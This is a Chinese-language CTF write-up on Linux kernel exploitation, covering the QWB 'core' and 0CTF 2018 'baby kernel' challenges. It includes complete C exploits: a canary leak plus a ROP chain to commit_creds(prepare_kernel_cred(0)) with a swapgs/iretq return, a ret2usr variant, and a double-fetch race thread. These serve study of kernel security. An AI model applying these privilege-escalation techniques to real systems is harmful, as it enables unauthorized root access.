前言:

接着上篇说的,这篇主要讨论一下ROP构造以及Double Fetch的利用。上一篇中Bypass smep的一部分构造没有明白的,在这篇中会得到详细的解答。

ROP:

题目(见附件)照常给了三个文件,照样常规流程来,先把硬盘镜像给解压了,再看看start.sh文件启动内核的脚本:

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

开了kaslr保护。相当于用户态pwn的aslr地址随机化。

再看看镜像文件里的init文件:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 2000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

看到了这一句:

cat /proc/kallsyms > /tmp/kallsyms

可以直接在tmp目录下拿到prepare_kernel_credcommit_creds的地址。不需要root权限。

还有这一句:

poweroff -d 120 -f &

定时关机的命令,为了方便调试,把这一句给删掉。

镜像文件里面还有一个sh文件:

find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

看来是打包镜像的命令了,所以我们可以利用它来重新打包我们的镜像。

继续看驱动文件,来找找驱动程序的利用点。

Checksec:

➜  give_to_player checksec core.ko 
[*] '/media/psf/Downloads/give_to_player/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

core_ioctl:

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 1719109787:
      core_read(a3);
      break;
    case 1719109788:
      printk(&unk_2CD);
      off = v3;
      break;
    case 1719109786:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

很明显的选择结构,为1719109788时设置off的值。

core_write:

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

向name字段输入。

core_read:

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);        // leak
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

&v5 + off在栈空间中,且off由我们设置,所以我们可以泄漏出canary的值来绕过canary。copy_to_user(v1, (char *)&v5 + off, 64LL)中v1为用户空间的空间地址。

core_copy_func:

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);  // overflow ------> rop
  }
  return result;
}

这里的漏洞点不太容易注意到,这里的函数参数a1即输入是八字节的有符号整数,而在qmemcpy函数中则是双字节的无符号整数,所以当设置a1=0xffffffffffff0200即可绕过a1>63的检查并在qmemcpy中得到a1为0x0200的值。并且v2为栈中的值,超长复制即可溢出。从name字段复制,name字段的内容是我们可控的,所以利用点就很容易可以得到。

利用流程:

  1. 设置off的值
  2. 调用core_read泄漏出canary的值
  3. 调用core_write往name字段构造ROP
  4. 调用core_copy_func发生溢出劫持控制流

先随意设置一个off的值再去调试看看gdb中canary的位置,我设置了off为0x40:

再看看栈:

经后面调试判断比较canary时可以得知上图箭头所指处就是canary的值。所以我们就可以设置off为0x40泄漏得知canary的值。

这下后面的rop构造就和我们以往做pwn时一样构造就可以了。kernel pwn是为了提权,所以我们需要调用commit_creds(prepare_kernel_cred(0))就可提权。况且commit_creds和prepare_kernel_cred的函数地址我们从上面了解到可以从tmp目录下直接得到。我们需要这样构造rop:

pop rdi;ret
0
prepare_kernel_cred
mov rdi,rax;ret
commit_creds

但是从vmlinux中提取出来的rop没有mov rdi,rax;ret,所以我们仍可以换一种方法:

pop rdx;ret
commit_creds
mov rdi,rax;jmp rdx
或
pop rdx;ret
pop rcx;ret
mov rdi,rax;call rdx
commit_creds

这里需要注意的一个点就是程序是开了kaslr的。所以这些从vmlinux中找的rop都不是真实地址,需要加上offset偏移才行,而这里的偏移可以用vmlinux中查得的prepare_kernel_cred地址和qemu中的prepare_kernel_cred相减即可得到。

直接查看得地址
pwndbg> p prepare_kernel_cred 
$1 = {<text variable, no debug info>} 0xffffffff8109cce0 <prepare_kernel_cred>

所以在vmlinux中查的rop都需要加上offset才为真实地址。

所构造的rop如下:

unsigned long int rop_content[] = {
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary_,
    0x9090909090909090,
    0xffffffff81000b2f+offset_size, //pop rdi;ret
    0x0,
    pkd_addr,
    0xffffffff810a0f49+offset_size, //pop rdx;ret
    cc_addr,
    0xffffffff8106a6d2+offset_size, //mov rdi,rax;jmp rdx
    0xffffffff81a012da+offset_size, //swapgs;popfq;ret
    0,
    0xffffffff81050ac2+offset_size, //iretq;
    (unsigned long)getshell,
    user_cs,
    user_flag,
    user_rsp,
    user_ss
    };

下图中的swapgs;popfq;ret阶段是提权的必要操作,毕竟我们已经利用上面的函数提权完了,接下来要做的事情就是从内核态转回用户态了,所以需要恢复几个必要寄存器的值。

这里还需要注意的一个点就是调用core_copy_func函数时,传参不能直接传-1,经调试发现直接传-1会导致最终得到4字节的值,最终无法绕过上面所说的>63

EXP:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

unsigned long int user_cs,user_ss,user_rsp,user_flag;

void save_state(){
    __asm__("mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_rsp,rsp;"
            "pushf;"
            "pop user_flag;"
           );
    puts("[*]Save the state!");
}

void getshell(){
    system("/bin/sh");
}

int main(){
    save_state();
    unsigned long int *tcach = (unsigned long int *)malloc(0x40);

    unsigned long int pkd_addr,cc_addr;
    scanf("%lx",&pkd_addr);
    fflush(stdin);
    printf("input the cc_addr:\n");
    scanf("%lx",&cc_addr);

    int fd = open("/proc/core",2);

    ioctl(fd,1719109788,0x40);
    ioctl(fd,1719109787,tcach);
    unsigned long canary_ = *tcach;
    //unsigned long vm_base = *(tcach+0x10) - 0x19b;
    printf("leak canary:%x\n",canary_);
    //printf("leak vm_base:%p",vm_base);

    unsigned long offset_size = pkd_addr - 0xffffffff8109cce0;// qemu addr - local addr

    //ret_offset = 0x50 canary = 0x40
    unsigned long int rop_content[] = {
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary_,
    0x9090909090909090,
    0xffffffff81000b2f+offset_size, //pop rdi;ret
    0x0,
    pkd_addr,
    0xffffffff810a0f49+offset_size, //pop rdx;ret
    cc_addr,
    0xffffffff8106a6d2+offset_size, //mov rdi,rax;jmp rdx
    0xffffffff81a012da+offset_size, //swapgs;popfq;ret
    0,
    0xffffffff81050ac2+offset_size, //iretq;
    (unsigned long)getshell,
    user_cs,
    user_flag,
    user_rsp,
    user_ss
    };

    write(fd,rop_content,0xf0);
    ioctl(fd,1719109786,0xffffffff000000f0);//-1 will be 4 size

    return 0;
}

Ret2usr:

这个方法其实跟上面所说的ROP基本没有区别,最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数,从而不需要rop调用,直接调用函数即可。该函数写成这样:

void getroot(){
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_cred;
    (*cc)((*pkc)(0));
}

所以构造rop时可以直接这样构造:

unsigned long rop[20] = {
        0x9090909090909090,
        0x9090909090909090,
        0x9090909090909090,
        0x9090909090909090,
        0x9090909090909090,
        0x9090909090909090,
        0x9090909090909090,
        0x9090909090909090,
        canary_,
        0x9090909090909090,
        getroot,                        // 只改变了这里,别的都没变
        0xffffffff81a012da+offset_addr, // swapgs; popfq; ret
        0,
        0xffffffff81050ac2+offset_addr, // iretq; ret;
        getshell,
        user_cs,
        user_flag,
        user_rsp,
        user_ss
    };

两者是不是一样?只不过调用getroot函数时调用的是用户态的函数。所以两者基本没什么区别。

  • 但是为什么可以调用用户态函数呢?

因为内核有用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性,可以以 ring 0 特权执行用户空间代码完成提权等操作。

不过具体为什么会有*pkc*cc指针就要具体去查看源代码才能知道了。

Double Fetch:

double fetch属于用户态pwn中的条件竞争,属于内核态与用户态之间的数据访问竞争。

直接来看题2018 0CTF Finals baby kernel

照样常规解包查init、start.sh等操作,这里要注意的就是需关闭 dmesg_restrict,不然无法查看printk所打印出的信息:

echo 0 > /proc/sys/kernel/dmesg_restrict

直接看函数:

_chk_range_not_ok:

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int8 v3; // cf
  unsigned __int64 v4; // rdi
  bool result; // al

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  if ( v3 )
    result = 1;
  else
    result = a3 < v4;                           // a3 >= a1 + a2
  return result;
}

判断大小的一个函数。

baby_ioctl:

signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  __int64 v5; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v5 = v2;
  if ( (_DWORD)a2 == 26214 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( (_DWORD)a2 == 4919
         && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))                 // a3 = 0x7ffffffff000
                                                // a1 + a2 <= a3
         && !_chk_range_not_ok(
               *(_QWORD *)v5,
               *(signed int *)(v5 + 8),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && *(_DWORD *)(v5 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

这里主要流程就是根据输入对比,然后和内存flag做比较。主要看的是这个:

!_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))                 // a3 = 0x7ffffffff000
                                                // a1 + a2 <= a3
         && !_chk_range_not_ok(
               *(_QWORD *)v5,
               *(signed int *)(v5 + 8),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && *(_DWORD *)(v5 + 8) == strlen(flag)

这里的v2是ioctl的第三个参数,也就是v2 + 16 <= a3这个条件,第二个条件是*v5 + *(v5+8) <= a3,第三个条件是*(v5 + 8) == strlen(flag)

从第三个条件很容易就看出来传入参数其中一个是flag的长度值,在看看__readgsqword((unsigned __int64)&current_task) + 4952的值是多少,在gdb中调试会明显很多:

可以看到是0x7ffffffff000,那么可以很容易想到是为了检测是否在用户态而设定的。

所以可以得到上面的第一第二条件是在判断v5是否在用户态,且v5中的flag段是否在用户态。那么就可以构造出一个结构体了:

struct Flag {
  char *flag_str;
  unsigned long flag_len;
}*flag;

这里需要注意的一个点就是因为flag是一个只想结构体的指针,所以需要给它初始化指针,否则会出现segment报错。

struct Flag flag = (struct Flag )malloc(sizeof(struct Flag));

结构体找到了,那么就是利用条件竞争的时候了,因为程序是过了上面三个条件判断后就可以开始逐字节对比flag了,所以说我们可以在程序经过上三层判断的时候,开线程修改掉flag的地址为程序中的flag地址,这样就能对比成功了,最终打印flag。

那么如何知道程序中的flag地址呢,很明显的在ioctl函数中,当参数为26214时,就能够打印出flag地址。

EXP:

#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>

char s[] = "flag{1111_1111_11_1111_1111_1111}";
char *flag_addr = NULL;
int finish = 0;

struct Flag{
    char *flag_str;
    unsigned long flag_len;
};


void *thread_run(void *tt){
    struct Flag *flag = tt;

    while(!finish){
        flag->flag_str = flag_addr;    
    }
}

int main(){

    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);

    int fd = open("/dev/baby",0);

    struct Flag *flag = (struct Flag *)malloc(sizeof(struct Flag));

    flag->flag_str = s;
    flag->flag_len = 0x21;

    ioctl(fd,0x6666);

    system("dmesg | grep \"Your flag is at \"");
    printf("input the flag addr :");
    scanf("%x",&flag_addr);

    pthread_t t1;
    pthread_create(&t1,NULL,thread_run,flag);

    for(int i=0;i<0x1000;i++){
        int ret = ioctl(fd,4919,flag);
        if(ret != 0){
            printf("the flag addr:%p",flag->flag_str);
        }
        else{
            goto end;
        }
        flag->flag_str = s;
    }

end :
    finish = 1;

    pthread_join(t1,NULL);
    //ioctl(fd,4919,&flag);
    system("dmesg | grep \"the flag is not a secret anymore.\"");
    close(fd);    
    return 0;
}

这题还有一种解法,是侧信道攻击解法:

因为是逐字节判断,所以可以将一个字符写在page的最末端,当判断下一个字符的时候,会访问一个不存在的地址,导致crash,从而一位一位得到flag。

这里就不讨论了。

总结:

以上就是linux kernel pwn中的基本类型了,其实本质上和用户态的pwn相差无几,不过是exp的编写语言改变了,或者说是目的改变(提权or拿shell),了解透彻了还是很明确的。

参考链接:

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖